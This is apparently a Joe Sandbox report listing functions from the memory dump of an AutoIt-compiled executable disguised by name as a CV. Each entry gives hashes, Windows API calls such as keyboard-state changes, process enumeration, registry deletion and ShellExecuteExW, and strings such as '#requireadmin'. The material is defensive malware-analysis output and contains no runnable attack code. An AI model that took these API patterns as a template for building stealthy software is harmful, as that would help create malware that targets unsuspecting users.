Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorLast$htonsinet_ntoaselect
String ID:
API String ID: 500251541-0
Opcode ID: 5fd7bb3edb40734799eaa3369c64945eda8c18382f050c173116df5caebca852
Instruction ID: b27d5b0aac42c9a1c0fbd338367bf847cb33be5ecc758bc23179352e46b1a304
Opcode Fuzzy Hash: 5fd7bb3edb40734799eaa3369c64945eda8c18382f050c173116df5caebca852
Instruction Fuzzy Hash: A471AC32504200ABC716EF64DC85F6BB7E9EF85714F104A2EF556AB2A1EB30DD04CB62

Function 003AA979 Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtinitlocknum.LIBCMT ref: 003AA991

Part of subcall function 003A7D7C: __FF_MSGBANNER.LIBCMT ref: 003A7D91
Part of subcall function 003A7D7C: __NMSG_WRITE.LIBCMT ref: 003A7D98
Part of subcall function 003A7D7C: __malloc_crt.LIBCMT ref: 003A7DB8

__lock.LIBCMT ref: 003AA9A4
__lock.LIBCMT ref: 003AA9F0
InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,00436DE0,00000018,003B5E7B,?,00000000,00000109), ref: 003AAA0C
EnterCriticalSection.KERNEL32(8000000C,00436DE0,00000018,003B5E7B,?,00000000,00000109), ref: 003AAA29
LeaveCriticalSection.KERNEL32(8000000C), ref: 003AAA39

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
String ID:
API String ID: 1422805418-0
Opcode ID: 850fd5b4fc1f24a93a9208fcbbd3be889c9f6b7a3642ad2134d2a099ec62d944
Instruction ID: 7cb9c501113678424da07a356704d8f655cbe058091b37023afea48d1815bc6a
Opcode Fuzzy Hash: 850fd5b4fc1f24a93a9208fcbbd3be889c9f6b7a3642ad2134d2a099ec62d944
Instruction Fuzzy Hash: 7D415872A00A059BEB12DFA8CA4575CB7F0EF03334F15822DE525AF2D2D7749810CB96

Function 003E8ECC Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 003E8EE4
GetDC.USER32(00000000), ref: 003E8EEC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 003E8EF7
ReleaseDC.USER32(00000000,00000000), ref: 003E8F03
CreateFontW.GDI32(?,00000000,00000000,00000000,00000000,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 003E8F3F
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 003E8F50
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,003EBD19,?,?,000000FF,00000000,?,000000FF,?), ref: 003E8F8A
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 003E8FAA

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: d23f006f68b524ce3e2b95602ae3bd69eb7624ed00b473ac85a25a27196b3cee
Instruction ID: c4bc0ee46edde697e14fce38f8881368f512803c4e9cc6e95f41dd2393d39312
Opcode Fuzzy Hash: d23f006f68b524ce3e2b95602ae3bd69eb7624ed00b473ac85a25a27196b3cee
Instruction Fuzzy Hash: 5131C072500214BFEB118F94CD49FEB3BADEF49715F044164FE08EA191CA759842CB74

Function 003F0133 Relevance: 10.7, APIs: 7, Instructions: 245windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0039B34E: GetWindowLongW.USER32(?,000000EB), ref: 0039B35F

GetSystemMetrics.USER32(0000000F), ref: 003F016D
MoveWindow.USER32(00000003,?,00000000,00000001,00000000,00000000,?,?,?), ref: 003F038D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 003F03AB
InvalidateRect.USER32(?,00000000,00000001,?), ref: 003F03D6
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 003F03FF
ShowWindow.USER32(00000003,00000000), ref: 003F0421
DefDlgProcW.USER32(?,00000005,?,?), ref: 003F0440

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$MessageSend$InvalidateLongMetricsMoveProcRectShowSystem
String ID:
API String ID: 3356174886-0
Opcode ID: c4ffe4e49dba205e456ef72845f3bdae2f548dd313ab022c5230b16460d584eb
Instruction ID: be009657a9836d945f0d20836f57ffacdd7118647e41e0c1e50cd6612f70e0e8
Opcode Fuzzy Hash: c4ffe4e49dba205e456ef72845f3bdae2f548dd313ab022c5230b16460d584eb
Instruction Fuzzy Hash: 0BA1AE3960061AEBDB1DCF6CCA857BDBBB1BF08741F058126EE54AB291D734AD50CB90

Function 0039AE78 Relevance: 10.7, APIs: 7, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8af834274bd7cb910bc6b78042b011c290de8204194cc389c1c58f0ba4f14ff6
Instruction ID: 62235f7b977e653ea5042881450ce1ca025470191ea46c16f665653e2c4eed93
Opcode Fuzzy Hash: 8af834274bd7cb910bc6b78042b011c290de8204194cc389c1c58f0ba4f14ff6
Instruction Fuzzy Hash: 9C717E71900509EFDF06CF98CC48ABEBB78FF85314F148259F916AA251C730AA11DFA5

Function 003E2230 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003E225A
_memset.LIBCMT ref: 003E2323
ShellExecuteExW.SHELL32(?), ref: 003E2368

Part of subcall function 0038936C: __swprintf.LIBCMT ref: 003893AB
Part of subcall function 0038936C: __itow.LIBCMT ref: 003893DF

Part of subcall function 0039C6F4: _wcscpy.LIBCMT ref: 0039C717

CloseHandle.KERNEL32(00000000), ref: 003E242F
FreeLibrary.KERNEL32(00000000), ref: 003E243E

Strings

@, xrefs: 003E2334

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
String ID: @
API String ID: 4082843840-2766056989
Opcode ID: b180ed7a41cb473a4138161998e536f52f67fcb892fca816496773d6a5c52ad2
Instruction ID: 54b79f3b855cfb7de467a391042d53f9cc85bc1f3b65790e7f5632fedf1b79ae
Opcode Fuzzy Hash: b180ed7a41cb473a4138161998e536f52f67fcb892fca816496773d6a5c52ad2
Instruction Fuzzy Hash: 83718075A006299FCF06EFA5C881AAEB7F9FF48310F118559E855AB391CB34AD40CF94

Function 003C3DA8 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 003C3DE7
GetKeyboardState.USER32(?), ref: 003C3DFC
SetKeyboardState.USER32(?), ref: 003C3E5D
PostMessageW.USER32(?,00000101,00000010,?), ref: 003C3E8B
PostMessageW.USER32(?,00000101,00000011,?), ref: 003C3EAA
PostMessageW.USER32(?,00000101,00000012,?), ref: 003C3EF0
PostMessageW.USER32(?,00000101,0000005B,?), ref: 003C3F13

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 767569d5787ab1a8fb3b212be0da19af2dc4c3f7bd97945f8ba619561737897b
Instruction ID: fdc411040bd07bbaa93535cf550623a4b9fa961c3719d24b4e6c33b96dd526f8
Opcode Fuzzy Hash: 767569d5787ab1a8fb3b212be0da19af2dc4c3f7bd97945f8ba619561737897b
Instruction Fuzzy Hash: 1D51C1A1A047D53DFB3742348C45FB67EA95B06304F09898DE0D5DA8C2D2A9AEC8D761

Function 003C3BC3 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 003C3C02
GetKeyboardState.USER32(?), ref: 003C3C17
SetKeyboardState.USER32(?), ref: 003C3C78
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 003C3CA4
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 003C3CC1
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 003C3D05
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 003C3D26

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 844a237009b346701c5af24606a3e11bffbc26c37e1489ea4bde8585a9abb67b
Instruction ID: 721fe3e7945bb09cf5e4106d0bb4bd8968788e994aa4c11206cc20bea9dd9133
Opcode Fuzzy Hash: 844a237009b346701c5af24606a3e11bffbc26c37e1489ea4bde8585a9abb67b
Instruction Fuzzy Hash: 8551D6A15047D53DFB3793648C59FBABE996B06300F0CC48DE0D6EA8C2D695EE84D750

Function 003C7DB1 Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 003C7DBE
_wcsncpy.LIBCMT ref: 003C7DF3
_wcsncpy.LIBCMT ref: 003C7E25
_wcsncpy.LIBCMT ref: 003C7E58
_wcsncpy.LIBCMT ref: 003C7E9A
_wcsncpy.LIBCMT ref: 003C7ED4
_wcsncpy.LIBCMT ref: 003C7F03

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 6d980e5398416ba3a3db4ccb9e2932f8234a3a87c8e5e43b79915c17ce58d839
Instruction ID: 41e488427777e82b908587871b3341a33c26a94cfd425d21642dd3379ed18461
Opcode Fuzzy Hash: 6d980e5398416ba3a3db4ccb9e2932f8234a3a87c8e5e43b79915c17ce58d839
Instruction Fuzzy Hash: 9B417266C1021476DF12EBF8CC86ACFB7ACDF06310F51896AE914F7162F634E61487A5

Function 003E3D72 Relevance: 10.6, APIs: 7, Instructions: 100registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 003E3DA1
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 003E3DCB
FreeLibrary.KERNEL32(00000000), ref: 003E3E80

Part of subcall function 003E3D72: RegCloseKey.ADVAPI32(?), ref: 003E3DE8
Part of subcall function 003E3D72: FreeLibrary.KERNEL32(?), ref: 003E3E3A
Part of subcall function 003E3D72: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 003E3E5D

RegDeleteKeyW.ADVAPI32(?,?), ref: 003E3E25

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: bc687366dbadc2f523752a36d6e967dea021f921f6d081a2439f8382999a664d
Instruction ID: 85241564786f6901e52669c2d110f4d6f00090d57c5a702e8fb1095cb97a36ff
Opcode Fuzzy Hash: bc687366dbadc2f523752a36d6e967dea021f921f6d081a2439f8382999a664d
Instruction Fuzzy Hash: B631FBB2D01159BFDB159FD1DD89AFFB7BCEB48300F000269A512A7190DA709F899AA0

Function 003E8FC8 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 003E8FE7
GetWindowLongW.USER32(0185E6C0,000000F0), ref: 003E901A
GetWindowLongW.USER32(0185E6C0,000000F0), ref: 003E904F
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 003E9081
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 003E90AB
GetWindowLongW.USER32(00000000,000000F0), ref: 003E90BC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 003E90D6

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 0658a0e9c756acf46844b0ce4b81cfcab7611fb2406e19d2decbb9ac29726581
Instruction ID: 90ca2382e95736eb713c50b06fcb04d1facf418f1295f07f322f1b25255b2154
Opcode Fuzzy Hash: 0658a0e9c756acf46844b0ce4b81cfcab7611fb2406e19d2decbb9ac29726581
Instruction Fuzzy Hash: F8313374A00264EFDB228F99DC84F6437A5FB4A314F1602A6F5199F2F2CB72AC40DB44

Function 003C08AF Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 003C08F2
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 003C0918
SysAllocString.OLEAUT32(00000000), ref: 003C091B
SysAllocString.OLEAUT32(?), ref: 003C0939
SysFreeString.OLEAUT32(?), ref: 003C0942
StringFromGUID2.OLE32(?,?,00000028), ref: 003C0967
SysAllocString.OLEAUT32(?), ref: 003C0975

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 1873c5ab43bc52fb86e6b7e8944ded2dfd9054435b9f81ee7ed6100b35fa1dc0
Instruction ID: d6b8537317bd489e913e2b327cf2472cfde138cfe514845b83412d53167798f1
Opcode Fuzzy Hash: 1873c5ab43bc52fb86e6b7e8944ded2dfd9054435b9f81ee7ed6100b35fa1dc0
Instruction Fuzzy Hash: 74219576601219AFEF159FA8CC88EBB73ECEB09360B418125F915EB161D770EC458B64

Function 003C2472 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 003C2485
__wcsnicmp.LIBCMT ref: 003C24A6
__wcsnicmp.LIBCMT ref: 003C24C0

Strings

#OnAutoItStartRegister, xrefs: 003C24BA
#requireadmin, xrefs: 003C24A0
#notrayicon, xrefs: 003C247D

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 12de5134bd42988c5dc64e4af9127174d4a78732953f346d6e762817731c3ba9
Instruction ID: 870dfa3f159d8b1f477386695148edf0445a8bc4805da6387f23ff7dc19342f2
Opcode Fuzzy Hash: 12de5134bd42988c5dc64e4af9127174d4a78732953f346d6e762817731c3ba9
Instruction Fuzzy Hash: 07214C7220461167D727B6359C12FB7B39CEF66310F21442EF445DB082E7659D41C3A5

Function 003C0986 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 003C09CB
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 003C09F1
SysAllocString.OLEAUT32(00000000), ref: 003C09F4
SysAllocString.OLEAUT32 ref: 003C0A15
SysFreeString.OLEAUT32 ref: 003C0A1E
StringFromGUID2.OLE32(?,?,00000028), ref: 003C0A38
SysAllocString.OLEAUT32(?), ref: 003C0A46

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 9cd3807526fcbf7cecfec3023dd6903f974ed6449488351b60ff5176757b08dd
Instruction ID: edd7ed571670df386a3837b655ded502da136ffaf948493dafc25781280de190
Opcode Fuzzy Hash: 9cd3807526fcbf7cecfec3023dd6903f974ed6449488351b60ff5176757b08dd
Instruction Fuzzy Hash: C3214479600204AFDB159FE8DD89EBA77ECEF093607418129F909DB261D670EC458764

Function 003EA2C8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0039D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0039D1BA
Part of subcall function 0039D17C: GetStockObject.GDI32(00000011), ref: 0039D1CE
Part of subcall function 0039D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 0039D1D8

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 003EA32D
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 003EA33A
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 003EA345
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 003EA354
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 003EA360

Strings

Msctls_Progress32, xrefs: 003EA2FE

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 9a60d9eb2e80ee8bad02a281693ae44d1ecec323e9c1241599dc148c113c06b2
Instruction ID: 90d285e76bc547d8d30246b8a796ac7e563c3ce81de1aa790a4d32bcecd08508
Opcode Fuzzy Hash: 9a60d9eb2e80ee8bad02a281693ae44d1ecec323e9c1241599dc148c113c06b2
Instruction Fuzzy Hash: 1611D3B1100129BEEF115F61CC85EE77F6DFF08398F014215BA04A60A0C772AC21DBA4

Function 0039CCCD Relevance: 9.3, APIs: 6, Instructions: 253COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0039CCF6
GetWindowRect.USER32(?,?), ref: 0039CD37
ScreenToClient.USER32(?,?), ref: 0039CD5F
GetClientRect.USER32(?,?), ref: 0039CE8C
GetWindowRect.USER32(?,?), ref: 0039CEA5

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 15ee829f600a0ebc1e2fd2a7ec3854663678788908c7175f3db13a40fd0dfa9a
Instruction ID: d0aed3ac14399a3fe86a3d07d46ff1e7fb559d251c2304a4f672e2d82024176b
Opcode Fuzzy Hash: 15ee829f600a0ebc1e2fd2a7ec3854663678788908c7175f3db13a40fd0dfa9a
Instruction Fuzzy Hash: 8AB18E7991024ADBDF11CFA9C5807EEBBB1FF08300F159529ED5AEB650DB30AA50CB64

Function 003E1BDF Relevance: 9.2, APIs: 6, Instructions: 163processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 003E1C18
Process32FirstW.KERNEL32(00000000,?), ref: 003E1C26
__wsplitpath.LIBCMT ref: 003E1C54

Part of subcall function 003A1DFC: __wsplitpath_helper.LIBCMT ref: 003A1E3C

_wcscat.LIBCMT ref: 003E1C69
Process32NextW.KERNEL32(00000000,?), ref: 003E1CDF
CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 003E1CF1

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

